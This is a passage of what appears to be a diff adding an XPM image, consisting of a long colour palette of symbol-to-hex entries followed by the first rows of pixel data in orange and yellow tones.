#E59400", +"j&. c #E69500", +"k&. c #E39000", +"l&. c #D57E00", +"m&. c #C65B00", +"n&. c #CC7400", +"o&. c #C25300", +"p&. c #CE6D00", +"q&. c #D17400", +"r&. c #CE6F00", +"s&. c #C96900", +"t&. c #BA5100", +"u&. c #932600", +"v&. c #CCA600", +"w&. c #B36800", +"x&. c #A62F00", +"y&. c #C76500", +"z&. c #D26D00", +"A&. c #C46A26", +"B&. c #EEA211", +"C&. c #E2B100", +"D&. c #DCA300", +"E&. c #D39700", +"F&. c #C58D00", +"G&. c #EBD800", +"H&. c #C98800", +"I&. c #D29600", +"J&. c #DBA200", +"K&. c #D69B00", +"L&. c #C47B00", +"M&. c #EDD500", +"N&. c #D39400", +"O&. c #DFA800", +"P&. c #C77E00", +"Q&. c #CC9500", +"R&. c #9C6800", +"S&. c #FBF400", +"T&. c #AB5600", +"U&. c #C47600", +"V&. c #D49700", +"W&. c #D99E00", +"X&. c #DBA100", +"Y&. c #D89D00", +"Z&. c #D49500", +"`&. c #C57700", +" *. c #C57200", +".*. c #DA9B00", +"+*. c #E1A500", +"@*. c #E7AE00", +"#*. c #ECB600", +"$*. c #E9AF00", +"%*. c #E3A600", +"&*. c #DB9900", +"**. c #C77700", +"=*. c #EFA700", +"-*. c #CAE008", +";*. c #3A0C0E", +">*. c #850401", +",*. c #A23801", +"'*. c #B05600", +")*. c #BD681C", +"!*. c #C57540", +"~*. c #CC7F4C", +"{*. c #CB7E47", +"]*. c #C4722D", +"^*. c #B35507", +"/*. c #A44001", +"(*. c #9C1900", +"_*. c #4C070B", +":*. c #4B6407", +"<*. c #654900", +"[*. c #600F00", +"}*. c #E2D200", +"|*. c #ECD700", +"1*. c #C16700", +"2*. c #D88400", +"3*. c #E39200", +"4*. c #E69600", +"5*. c #E69400", +"6*. c #E49000", +"7*. c #D88000", +"8*. c #C95E00", +"9*. c #CA6D00", +"0*. c #C25000", +"a*. c #D17000", +"b*. c #D37400", +"c*. c #D07000", +"d*. c #CA6A00", +"e*. c #B84E00", +"f*. c #952500", +"g*. c #F0E400", +"h*. c #A13D00", +"i*. c #B44400", +"j*. c #CB6700", +"k*. c #D57000", +"l*. c #EA7C05", +"m*. c #5C2C19", +"n*. c #BD6924", +"o*. c #E29210", +"p*. c #D79A00", +"q*. c #DAA000", +"r*. c #CD8D00", +"s*. c #B66700", +"t*. c #A24B00", +"u*. c #AE5700", +"v*. c #BF7200", +"w*. c #C98000", +"x*. c #D69600", +"y*. c #C98700", +"z*. c #E8CC00", +"A*. c #E2AE00", +"B*. c #DEA700", +"C*. c #CD8900", +"D*. c #BF7A00", +"E*. c #FEF900", +"F*. c #E8E000", +"G*. c #A34A00", +"H*. c #CE8800", +"I*. c #D79900", +"J*. c #DFA600", +"K*. c #E1A800", +"L*. c #DB9E00", +"M*. c #D59500", +"N*. c #C36D00", +"O*. c #D19300", +"P*. c #D08200", +"Q*. c #E4A900", +"R*. c #E9B200", +"S*. c #ECB700", +"T*. c #EAB400", +"U*. c #E6AC00", +"V*. c #DF9F00", +"W*. c #D79000", +"X*. c #BF5F00", +"Y*. c #FFE800", +"Z*. c #B7CC0A", +"`*. c #33000C", +" =. c #901200", +".=. c #A03A00", +"+=. c #B15800", +"@=. c #B86214", +"#=. c #C06D25", +"$=. c #BB6321", +"%=. c #BB660B", +"&=. c #AC4C00", +"*=. c #982E01", +"==. c #8B0800", +"-=. c #3A070C", +";=. c #433D03", +">=. c #8D9500", +",=. c #844200", +"'=. c #E0C600", +")=. c #C87400", +"!=. c #C45B00", +"~=. c #D98600", +"{=. c #DF8D00", +"]=. c #E49200", +"^=. c #E79300", +"/=. c #E79200", +"(=. c #E59000", +"_=. c #E28A00", +":=. c #D87E00", +"<=. c #CA5C00", +"[=. c #C44F00", +"}=. c #D27100", +"|=. c #CC6900", +"1=. c #B64600", +"2=. c #9B2F00", +"3=. c #E2CB00", +"4=. c #DDBE00", +"5=. c #9C2600", +"6=. c #CE6900", +"7=. c #D87100", +"8=. c #DF7500", +"9=. c #E58026", +"0=. c #5D2D19", +"a=. c #582919", +"b=. c #B26123", +"c=. c #F5C90F", +"d=. c #E2B800", +"e=. c #D19100", +"f=. c #CD8C00", +"g=. c #B66C00", +"h=. c #F2E600", +"i=. c #C78A00", +"j=. c #DCB500", +"k=. c #D39300", +"l=. c #D08C00", +"m=. c #CB8400", +"n=. c #E1AB00", +"o=. c #D59600", +"p=. c #B65F00", +"q=. c #B57F00", +"r=. c #AB5000", +"s=. c #D08900", +"t=. c #E5AD00", +"u=. c #E8B300", +"v=. c #E3A900", +"w=. c #DC9C00", +"x=. c #D48B00", +"y=. c #F7EB00", +"z=. c #DB9800", +"A=. c #E2A500", +"B=. c #E8B000", +"C=. c #ECB800", +"D=. c #ECB500", +"E=. c #E9AE00", +"F=. c #E3A200", +"G=. c #D18800", +"H=. c #827B0C", +"I=. c #360009", +"J=. c #961200", +"K=. c #A13E00", +"L=. c #AA4B00", +"M=. c #B15600", +"N=. c #B05200", +"O=. c #A84500", +"P=. c #A03E00", +"Q=. c #941900", +"R=. c #670006", +"S=. c #34220A", +"T=. c #4E1E00", +"U=. c #8A7700", +"V=. c #D2C900", +"W=. c #912600", +"X=. c #CDA000", +"Y=. c #C76C00", +"Z=. c #CB6500", +"`=. c #DB8800", +" -. c #E18D00", +".-. c #E89400", +"+-. c #E79000", +"@-. c #E58D00", +"#-. c #E28900", +"$-. c #D97D00", +"%-. c #C95600", +"&-. c #D68900", +"*-. c #C95700", +"=-. c #D67600", +"--. c #D67400", +";-. c #D36E00", +">-. c #B23D00", +",-. c #9E3A00", +"'-. c #F3EA00", +")-. c #C89200", +"!-. c #A42D00", +"~-. c #C65E00", +"{-. c #D26A00", +"]-. c #DC7200", +"^-. c #E97B05", +"/-. c #451725", +"(-. c #572918", +"_-. c #A24D21", +":-. c #FEE50E", +"<-. c #F9F000", +"[-. c #C98300", +"}-. c #C67F00", +"|-. c #B55F00", +"1-. c #D8BF00", +"2-. c #DFB800", +"3-. c #CC8400", +"4-. c #D49400", +"5-. c #CC8200", +"6-. c #DAA900", +"7-. c #FAF600", +"8-. c #DCA000", +"9-. c #E3AC00", +"0-. c #E8B400", +"a-. c #E4AE00", +"b-. c #DA9C00", +"c-. c #C26D00", +"d-. c #C58400", +"e-. c #DAB600", +"f-. c #B04E00", +"g-. c #D08300", +"h-. c #DEA100", +"i-. c #E7B000", +"j-. c #EDB900", +"k-. c #E8B100", +"l-. c #E0A300", +"m-. c #D89500", +"n-. c #D39200", +"o-. c #D58900", +"p-. c #E0A200", +"q-. c #E7AD00", +"r-. c #ECB300", +"s-. c #EBB000", +"t-. c #E6A600", +"u-. c #DF9900", +"v-. c #D78900", +"w-. c #C36900", +"x-. c #FFE900", +"y-. c #50250E", +"z-. c #470007", +"A-. c #9A1600", +"B-. c #993400", +"C-. c #9F3900", +"D-. c #A23F00", +"E-. c #982D00", +"F-. c #8D2000", +"G-. c #8E0200", +"H-. c #43030B", +"I-. c #363206", +"J-. c #643500", +"K-. c #7F3100", +"L-. c #E8DC00", +"M-. c #D9AC00", +"N-. c #952700", +"O-. c #EBDE00", +"P-. c #B66400", +"Q-. c #FDFD00", +"R-. c #C76600", +"S-. c #DE8800", +"T-. c #E38D00", +"U-. c #E69000", +"V-. c #E89100", +"W-. c #E89000", +"X-. c #E68D00", +"Y-. c #E28800", +"Z-. c #C64F00", +"`-. c #CC6600", +" ;. c #D06300", +".;. c #D16D00", +"+;. c #CA6400", +"@;. c #A42900", +"#;. c #B56300", +"$;. c #B03700", +"%;. c #CD6500", +"&;. c #D76D00", +"*;. c #E77705", +"=;. c #E37F25", +"-;. c #7D441D", +";;. c #572A18", +">;. c #9C4620", +",;. c #EABC0E", +"';. c #C37400", +");. c #C47800", +"!;. c #AD5600", +"~;. c #852800", +"{;. c #EFE700", +"];. c #FDFE00", +"^;. c #D39C00", +"/;. c #C97B00", +"(;. c #D59200", +"_;. c #D59300", +":;. c #CB7B00", +"<;. c #E1B400", +"[;. c #CE8B00", +"};. c #D18700", +"|;. c #DC9D00", +"1;. c #E4AA00", +"2;. c #DFA100", +"3;. c #D38C00", +"4;. c #BD6100", +"5;. c #DEB800", +"6;. c #DFB600", +"7;. c #D08700", +"8;. c #DD9B00", +"9;. c #E7AF00", +"0;. c #EDBA00", +"a;. c #E2A600", +"b;. c #DA9800", +"c;. c #CC7700", +"d;. c #D59B00", +"e;. c #DF9C00", +"f;. c #E7A900", +"g;. c #ECB200", +"h;. c #EDB400", +"i;. c #EDB300", +"j;. c #EDB200", +"k;. c #E9AA00", +"l;. c #E19D00", +"m;. c #DA9000", +"n;. c #C76800", +"o;. c #EBCA00", +"p;. c #D37901", +"q;. c #4E2A0F", +"r;. c #500006", +"s;. c #920E00", +"t;. c #881900", +"u;. c #8C2000", +"v;. c #841600", +"w;. c #8A0000", +"x;. c #630006", +"y;. c #302A0C", +"z;. c #563200", +"A;. c #754500", +"B;. c #D28C00", +"C;. c #A83D00", +"D;. c #A22400", +"E;. c #EED900", +"F;. c #F2E000", +"G;. c #C65700", +"H;. c #E08800", +"I;. c #E48C00", +"J;. c #E78F00", +"K;. c #E89200", +"L;. c #E89300", +"M;. c #E78E00", +"N;. c #E58A00", +"O;. c #E28500", +"P;. c #F0D800", +"Q;. c #F0D400", +"R;. c #C84F00", +"S;. c #D06A00", +"T;. c #C25400", +"U;. c #9F3000", +"V;. c #E3CC00", +"W;. c #E7CF00", +"X;. c #A73400", +"Y;. c #C45600", +"Z;. c #D26600", +"`;. c #E47405", +" >. c #E27F25", +".>. c #572B18", +"+>. c #9F4D20", +"@>. c #D8970E", +"#>. c #B04F00", +"$>. c #B85D00", +"%>. c #B35500", +"&>. c #AC4B00", +"*>. c #C08500", +"=>. c #F3ED00", +"->. c #D79200", +";>. c #DA9900", +">>. c #CC7B00", +",>. c #CF8100", +"'>. c #DC9B00", +")>. c #E4A800", +"!>. c #DD9D00", +"~>. c #D18400", +"{>. c #F2E400", +"]>. c #F7EF00", +"^>. c #DC9700", +"/>. c #DB9700", +"(>. c #CC7600", +"_>. c #D27C00", +":>. c #E09B00", +"<>. c #EEB400", +"[>. c #EBAD00", +"}>. c #E4A000", +"|>. c #DC9200", +"1>. c #CC6C00", +"2>. c #DE8300", +"3>. c #CF6E02", +"4>. c #4A2A0F", +"5>. c #500005", +"6>. c #850000", +"7>. c #770300", +"8>. c #880000", +"9>. c #690005", +"0>. c #291B0F", +"a>. c #596702", +"b>. c #6F4500", +"c>. c #964E00", +"d>. c #A73000", +"e>. c #CC8000", +"f>. c #B63D00", +"g>. c #E4B400", +"h>. c #CB5A00", +"i>. c #E58E00", +"j>. c #E99000", +"k>. c #E98F00", +"l>. c #E88D00", +"m>. c #E58900", +"n>. c #E18300", +"o>. c #D16400", +"p>. c #CF6800", +"q>. c #FDFF00", +"r>. c #DE9B00", +"s>. c #CB5500", +"t>. c #D67000", +"u>. c #CD6600", +"v>. c #AA2F00", +"w>. c #B46800", +"x>. c #B33800", +"y>. c #CE6100", +"z>. c #E07105", +"A>. c #DF7D24", +"B>. c #A85B20", +"C>. c #C86F0E", +"D>. c #EEDA00", +"E>. c #E0BE00", +"F>. c #C78400", +"G>. c #D6A500", +"H>. c #E9D500", +"I>. c #ECD500", +"J>. c #C36C00", +"K>. c #D79300", +"L>. c #DD9E00", +"M>. c #D28500", +"N>. c #D29400", +"O>. c #DAA600", +"P>. c #EBB600", +"Q>. c #E4A700", +"R>. c #D78E00", +"S>. c #CC7900", +"T>. c #CE8200", +"U>. c #E9B100", +"V>. c #EDB700", +"W>. c #EAB100", +"X>. c #CC6F00", +"Y>. c #E19C00", +"Z>. c #E8A900", +"`>. c #EEB500", +" ,. c #EEB200", +".,. c #ECAD00", +"+,. c #E6A100", +"@,. c #DE9300", +"#,. c #D27400", +"$,. c #D99700", +"%,. c #D59800", +"&,. c #D55C00", +"*,. c #CC7D03", +"=,. c #4F3A0F", +"-,. c #4E0006", +";,. c #780000", +">,. c #520007", +",,. c #2A110F", +"',. c #442904", +"),. c #7D6B00", +"!,. c #A29100", +"~,. c #C75800", +"{,. c #B13200", +"],. c #E3BD00", +"^,. c #E4B900", +"/,. c #B12600", +"(,. c #D38800", +"_,. c #D47B00", +":,. c #D56D00", +"<,. c #DF8600", +"[,. c #E48A00", +"},. c #E98E00", +"|,. c #E78B00", +"1,. c #E48600", +"2,. c #CA5000", +"3,. c #E2A900", +"4,. c #CC5D00", +"5,. c #D76E00", +"6,. c #D16900", +"7,. c #C35100", +"8,. c #A23300", +"9,. c #A92E00", +"0,. c #C95B00", +"a,. c #DC6C05", +"b,. c #DC7B24", +"c,. c #5B2D19", +"d,. c #B26422", +"e,. c #D57B0F", +"f,. c #C77800", +"g,. c #E4C500", +"h,. c #C06B00", +"i,. c #E3A700", +"j,. c #C87800", +"k,. c #F8EE00", +"l,. c #C36B00", +"m,. c #D68E00", +"n,. c #DE9E00", +"o,. c #EBB400", +"p,. c #E8AF00", +"q,. c #E5A900", +"r,. c #E2A300", +"s,. c #DF9D00", +"t,. c #DE9A00", +"u,. c #E09C00", +"v,. c #E4A300", +"w,. c #E8AC00", +"x,. c #EBB100", +"y,. c #E9AD00", +"z,. c #E29F00", +"A,. c #EED300", +"B,. c #D07C00", +"C,. c #DB8D00", +"D,. c #E3A000", +"E,. c #EAAC00", +"F,. c #EEB300", +"G,. c #EDB100", +"H,. c #EDB000", +"I,. c #EEB000", +"J,. c #ECAC00", +"K,. c #DF9400", +"L,. c #D77E00", +"M,. c #BC4C00", +"N,. c #E07700", +"O,. c #E8DD03", +"P,. c #6A4D0C", +"Q,. c #57120C", +"R,. c #6A620C", +"S,. c #795903", +"T,. c #7E3700", +"U,. c #DCD600", +"V,. c #D88D00", +"W,. c #D16B00", +"X,. c #CF6C00", +"Y,. c #CB6B00", +"Z,. c #C96700", +"`,. c #D69500", +" '. c #E3BF00", +".'. c #BE4800", +"+'. c #BE4400", +"@'. c #F0D900", +"#'. c #F2DA00", +"$'. c #CC5900", +"%'. c #E68B00", +"&'. c #E88F00", +"*'. c #E88C00", +"='. c #E78800", +"-'. c #E38100", +";'. c #D66E00", +">'. c #CB5900", +",'. c #F6EB00", +"''. c #E3A800", +")'. c #CD5400", +"!'. c #D56C00", +"~'. c #CC6100", +"{'. c #A52700", +"]'. c #BD8000", +"^'. c #C24C00", +"/'. c #D86904", +"('. c #D77923", +"_'. c #7C431D", +":'. c #BA6724", +"<'. c #E59410", +"['. c #C46D00", +"}'. c #D9A300", +"|'. c #CF8E00", +"1'. c #E2A100", +"2'. c #E6A900", +"3'. c #E7AB00", +"4'. c #DA9500", +"5'. c #C66D00", +"6'. c #E3A300", +"7'. c #EBB200", +"8'. c #EAAF00", +"9'. c #E9AC00", +"0'. c #E7AA00", +"a'. c #E7A800", +"b'. c #EBAF00", +"c'. c #E09A00", +"d'. c #D78400", +"e'. c #FCF700", +"f'. c #F0D700", +"g'. c #CE7100", +"h'. c #DE9500", +"i'. c #E5A100", +"j'. c #EBAC00", +"k'. c #EEB100", +"l'. c #EDAF00", +"m'. c #EDAD00", +"n'. c #EBA800", +"o'. c #E49C00", +"p'. c #DE8F00", +"q'. c #D57D00", +"r'. c #CD7100", +"s'. c #FAF900", +"t'. c #E6C200", +"u'. c #C24E00", +"v'. c #FBDB00", +"w'. c #E49500", +"x'. c #BD6303", +"y'. c #EFD900", +"z'. c #BB5600", +"A'. c #EDD100", +"B'. c #EECB00", +"C'. c #CC5C00", +"D'. c #D27300", +"E'. c #C45200", +"F'. c #EACC00", +"G'. c #CA6F00", +"H'. c #E9D100", +"I'. c #C75F00", +"J'. c #C65200", +"K'. c #D27B00", +"L'. c #FCFE00", +"M'. c #DC8C00", +"N'. c #D66B00", +"O'. c #E48800", +"P'. c #E78D00", +"Q'. c #E98D00", +"R'. c #E98B00", +"S'. c #E88900", +"T'. c #E58500", +"U'. c #CE5400", +"V'. c #F3E000", +"W'. c #CF5C00", +"X'. c #D96F00", +"Y'. c #DC7300", +"Z'. c #CE6300", +"`'. c #B73D00", +" ). c #B75C00", +".). c #BA3E00", +"+). c #D56504", +"@). c #D37622", +"#). c #4B1B25", +"$). c #C26A25", +"%). c #EC9911", +"&). c #D88E00", +"*). c #CE7A00", +"=). c #CA7200", +"-). c #CA7300", +";). c #D07D00", +">). c #DD9700", +",). c #E09D00", +"'). c #EAAD00", +")). c #EAAE00", +"!). c #E5A400", +"~). c #DD9800", +"{). c #CE7600", +"]). c #D49600", +"^). c #EACB00", +"/). c #C36200", +"(). c #D88C00", +"_). c #E8AA00", +":). c #ECB100", +"<). c #EDB500", +"[). c #EBAE00", +"}). c #DE9700", +"|). c #CF6D00", +"1). c #D47600", +"2). c #E29800", +"3). c #E8A300", +"4). c #ECAA00", +"5). c #EAA800", +"6). c #D47800", +"7). c #CD6D00", +"8). c #C24500", +"9). c #D99200", +"0). c #EDD800", +"a). c #D56400", +"b). c #EECC00", +"c). c #CF6500", +"d). c #D46D00", +"e). c #F8EF00", +"f). c #D26C00", +"g). c #EDD300", +"h). c #C86000", +"i). c #EED700", +"j). c #CC6000", +"k). c #C74D00", +"l). c #EFD300", +"m). c #F2D800", +"n). c #D25E00", +"o). c #E38600", +"p). c #E98C00", +"q). c #E98A00", +"r). c #E78700", +"s). c #E38000", +"t). c #D86D00", +"u). c #D16700", +"v). c #F2DD00", +"w). c #DF9100", +"x). c #D56100", +"y). c #DD7500", +"z). c #DB7100", +"A). c #C34E00", +"B). c #B04400", +"C). c #C98200", +"D). c #B53200", +"E). c #D46304", +"F). c #D07522", +"G). c #7A431D", +"H). c #C86D27", +"I). c #F39F11", +"J). c #E4A600", +"K). c #DC9500", +"L). c #E19B00", +"M). c #E7A600", +"N). c #ECB000", +"O). c #ECAF00", +"P). c #E8A800", +"Q). c #E29E00", +"R). c #D98D00", +"S). c #C86D00", +"T). c #F1DD00", +"U). c #D49100", +"V). c #CE7000", +"W). c #EEB600", +"X). c #EFB600", +"Y). c #E49F00", +"Z). c #DB8600", +"`). c #FBF500", +" !. c #FBF300", +".!. c #E59D00", +"+!. c #EEAF00", +"@!. c #EDAE00", +"#!. c #ECAB00", +"$!. c #EAA700", +"%!. c #E9A200", +"&!. c #E59900", +"*!. c #D26900", +"=!. c #D27700", +"-!. c #E2AA00", +";!. c #C44300", +">!. c #E3AE00", +",!. c #EBC900", +"'!. c #D26800", +")!. c #D36A00", +"!!. c #F1CE00", +"~!. c #D56A00", +"{!. c #DB7E00", +"]!. c #D26700", +"^!. c #F4E000", +"/!. c #E9BA00", +"(!. c #D06000", +"_!. c #CF6100", +":!. c #F3E100", +"~. c #D26200", +",~. c #BC3800", +"'~. c #EFCF00", +")~. c #C04000", +"!~. c #D66001", +"~~. c #D07421", +"{~. c #FFD4B1", +"]~. c #5C2B1A", +"^~. c #62301A", +"/~. c #D77628", +"(~. c #FFA618", +"_~. c #F3AD06", +":~. c #F3A706", +"<~. c #F3A806", +"[~. c #F3A906", +"}~. c #F3AA06", +"|~. c #F3AB06", +"1~. c #F4AC06", +"2~. c #F4AD06", +"3~. c #F4AE06", +"4~. c #F4AF06", +"5~. c #EFA705", +"6~. c #E99E05", +"7~. c #E39505", +"8~. c #D37204", +"9~. c #E2A804", +"0~. c #FFFF04", +"a~. c #F8DE04", +"b~. c #E19005", +"c~. c #EB9E05", +"d~. c #F2AB05", +"e~. c #F5B106", +"f~. c #F6B206", +"g~. c #F6B106", +"h~. c #F7B206", +"i~. c #F4AE05", +"j~. c #F0A505", +"k~. c #E89505", +"l~. c #F0C105", +"m~. c #EFC304", +"n~. c #D97504", +"o~. c #E79605", +"p~. c #EDA005", +"q~. c #F1A805", +"r~. c #F6AD05", +"s~. c #F7B006", +"t~. c #F7AF06", +"u~. c #F6AA05", +"v~. c #F2A305", +"w~. c #F4C105", +"x~. c #FADD05", +"y~. c #FDF004", +"z~. c #FCEF04", +"A~. c #F2CE04", +"B~. c #FDF104", +"C~. c #F8E104", +"D~. c #D77304", +"E~. c #DA6E04", +"F~. c #F3CD04", +"G~. c #F0BD05", +"H~. c #E37F05", +"I~. c #F7D605", +"J~. c #F2BC05", +"K~. c #E47C05", +"L~. c #E78A05", +"M~. c #ECA005", +"N~. c #FCE605", +"O~. c #E38505", +"P~. c #DD6C05", +"Q~. c #E79F04", +"R~. c #F5D404", +"S~. c #DA6F05", +"T~. c #F4CD05", +"U~. c #E99F05", +"V~. c #DF7105", +"W~. c #E47F05", +"X~. c #DF7005", +"Y~. c #F8D805", +"Z~. c #F4BF05", +"`~. c #E47105", +" {. c #EC8705", +".{. c #EF8B05", +"+{. c #F28F06", +"@{. c #F38E06", +"#{. c #F28D06", +"${. c #F18D06", +"%{. c #F18B06", +"&{. c #EF8705", +"*{. c #EB8105", +"={. c #EA8F05", +"-{. c #E16B05", +";{. c #F2BB05", +">{. c #F2B705", +",{. c #E06205", +"'{. c #E87A05", +"){. c #E97A05", +"!{. c #E57505", +"~{. c #DD6D05", +"{{. c #CC4A04", +"]{. c #DA9104", +"^{. c #FFF804", +"/{. c #F5D604", +"({. c #CD5504", +"_{. c #E0660A", +":{. c #DE7C25", +"<{. c #7D451B", +"[{. c #4D2020", +"}{. c #FEB378", +"|{. c #FFDEC5", +"1{. c #CF6505", +"2{. c #663217", +"3{. c #5A2A1D", +"4{. c #BA6A1C", +"5{. c #F18928", +"6{. c #E58326", +"7{. c #E48226", +"8{. c #E48126", +"9{. c #E38126", +"0{. c #DE7E25", +"a{. c #D57923", +"b{. c #CC7421", +"c{. c #C36F20", +"d{. c #B75F1E", +"e{. c #BD6F1F", +"f{. c #C88020", +"g{. c #CD7921", +"h{. c #D57723", +"i{. c #E38226", +"j{. c #DF8025", +"k{. c #D87A24", +"l{. c #D07822", +"m{. c #CD8421", +"n{. c #C3751F", +"o{. c #BC621F", +"p{. c #C46D20", +"q{. c #CD7721", +"r{. c #D67A23", +"s{. c #DD7E25", +"t{. c #E07F25", +"u{. c #DC7B25", +"v{. c #D78023", +"w{. c #D48A22", +"x{. c #CC8620", +"y{. c #C1791F", +"z{. c #BC761E", +"A{. c #BD821D", +"B{. c #B6741D", +"C{. c #B0621D", +"D{. c #B8651E", +"E{. c #C27020", +"F{. c #C57520", +"G{. c #C77020", +"H{. c #CD7521", +"I{. c #CD7422", +"J{. c #D07622", +"K{. c #CF7522", +"L{. c #CD7421", +"M{. c #CC7821", +"N{. c #CB7421", +"O{. c #C76F21", +"P{. c #C47220", +"Q{. c #C56E20", +"R{. c #C77420", +"S{. c #C77121", +"T{. c #CB7321", +"U{. c #CE7422", +"V{. c #CD7221", +"W{. c #CE7621", +"X{. c #D27822", +"Y{. c #D67823", +"Z{. c #DA7B24", +"`{. c #DF7E25", +" ]. c #E38026", +".]. c #E17E25", +"+]. c #DD7C25", +"@]. c #D87923", +"#]. c #D47623", +"$]. c #D27922", +"%]. c #D67723", +"&]. c #DB7B24", +"*]. c #D77823", +"=]. c #C36D20", +"-]. c #B36B1D", +";]. c #B96E1E", +">]. c #C26D1F", +",]. c #D77824", +"']. c #CA741D", +")]. c #6E381B", +"!]. c #52241D", +"~]. c #AE4D00", +"{]. c #FFBE8D", +"]]. c #FFF9F5", +"^]. c #EA832C", +"/]. c #7E3C07", +"(]. c #471A25", +"_]. c #552125", +":]. c #66321C", +"<]. c #7D411A", +"[]. c #7D3F1D", +"}]. c #7B3F1D", +"|]. c #7B3E1D", +"1]. c #7A3E1D", +"2]. c #773D1C", +"3]. c #733B1B", +"4]. c #703A1B", +"5]. c #6C371A", +"6]. c #692F1A", +"7]. c #6B301B", +"8]. c #71391B", +"9]. c #753C1C", +"0]. c #783C1D", +"a]. c #793D1D", +"b]. c #763D1C", +"c]. c #6E331B", +"d]. c #6A301A", +"e]. c #6C361A", +"f]. c #703B1B", +"g]. c #763C1C", +"h]. c #793E1D", +"i]. c #783D1C", +"j]. c #74391C", +"k]. c #6F331B", +"l]. c #6B301A", +"m]. c #662E19", +"n]. c #642C19", +"o]. c #632C19", +"p]. c #622C19", +"q]. c #642F19", +"r]. c #6B391A", +"s]. c #6E3B1A", +"t]. c #6E341B", +"u]. c #70371B", +"v]. c #723D1B", +"w]. c #71351B", +"x]. c #72391B", +"y]. c #743E1C", +"z]. c #733D1C", +"A]. c #723A1B", +"B]. c #70341B", +"C]. c #713B1B", +"D]. c #713D1B", +"E]. c #6E371B", +"F]. c #6D331B", +"G]. c #703C1B", +"H]. c #70391B", +"I]. c #733D1B", +"J]. c #743D1B", +"K]. c #743E1B", +"L]. c #71361B", +"M]. c #73391C", +"N]. c #77401C", +"O]. c #783F1C", +"P]. c #79401D", +"Q]. c #7B411D", +"R]. c #7C411D", +"S]. c #773F1C", +"T]. c #76411C", +"U]. c #77411C", +"V]. c #78401C", +"W]. c #79401C", +"X]. c #743F1C", +"Y]. c #713F1B", +"Z]. c #6B371A", +"`]. c #652D19", +" ^. c #683119", +".^. c #703E1A", +"+^. c #77421A", +"@^. c #582422", +"#^. c #4C1A28", +"$^. c #603118", +"%^. c #FFD9BD", +"&^. c #FBAF77", +"*^. c #B64B00", +"=^. c #572D1A", +"-^. c #491925", +";^. c #481924", +">^. c #491924", +",^. c #471924", +"'^. c #431822", +")^. c #451923", +"!^. c #481923", +"~^. c #461922", +"{^. c #4B1A28", +"]^. c #4B2220", +"^^. c #974500", +"/^. c #F08531", +"(^. c #FFF6F2", +"_^. c #F38532", +":^. c #B14B00", +"<^. c #6B3713", +"[^. c #4E211F", +"}^. c #4F221F", +"|^. c #4D211E", +"1^. c #4B201D", +"2^. c #4D201F", +"3^. c #51241D", +"4^. c #603119", +"5^. c #E46701", +"6^. c #FFDDC7", +"7^. c #FFF1EA", +"8^. c #F89953", +"9^. c #D76501", +"0^. c #B65100", +"a^. c #A24600", +"b^. c #F0832E", +"c^. c #FFD9C1", +"d^. c #FFDCC5", +"e^. c #FEB57B", +"f^. c #FEB67D", +"g^. c #FEB77F", +"h^. c #FEB87F", +"i^. c #FDB479", +"j^. c #FFBF8E", +"k^. c #FFD4B5", +"l^. c #FFFBFB", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . + @ # $ % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % & * = - . . . . . . ", +" . . . . ; > , ' ) ! ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ { ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ] ^ / ( _ . . . . . ", +" . . . . ; : < [ } | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | 3 3 4 3 5 1 1 1 1 2 2 1 | | 3 3 6 | 1 1 1 1 | | 6 6 | 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | | | 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 8 9 0 a b . . . . ", +" . . . . c d e f g h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j j k l m m n m k o j i i i p k k q q q k k r r r o o k q q q k r i i i i i i i i i i i i p o k k k k o j i i i i i i i i i i i i i i i p g i s t u v . . . ", +" . . . w x y z A B C D E E E E E E E F F F F F F F F F G G G G G G G G G G G G G H H H H H H H I J K L M N N O P Q R S T T U V W X Y Z ` Z L X X . X .. +. @. Z #. X $. J S H %. %. %. %. %. %. &. &. *. =. -. Q ;. >. ,. '. ). &. !. !. !. !. !. !. !. !. !. ~. ~. C C C {. ]. ^. /. (. _. :. . . . . ", +". . . . <. [. }. |. 1. 2. 3. 4. 5. 5. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 5. 6. 6. 7. 6. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 8. 9. 0. a. b. c. d. e. b. a. f. g. h. i. j. k. f. l. m. n. o. p. q. r. s. t. t. m. u. v. w. x. o. y. z. A. B. h. 8. 7. C. D. 7. C. C. E. F. G. H. I. J. K. L. M. g. N. O. O. P. P. O. Q. D. R. R. R. S. S. S. R. 3. T. U. V. W. ! X. . . . . ", +". . . . Y. Z. `. h + .+ ++ @+ #+ $+ 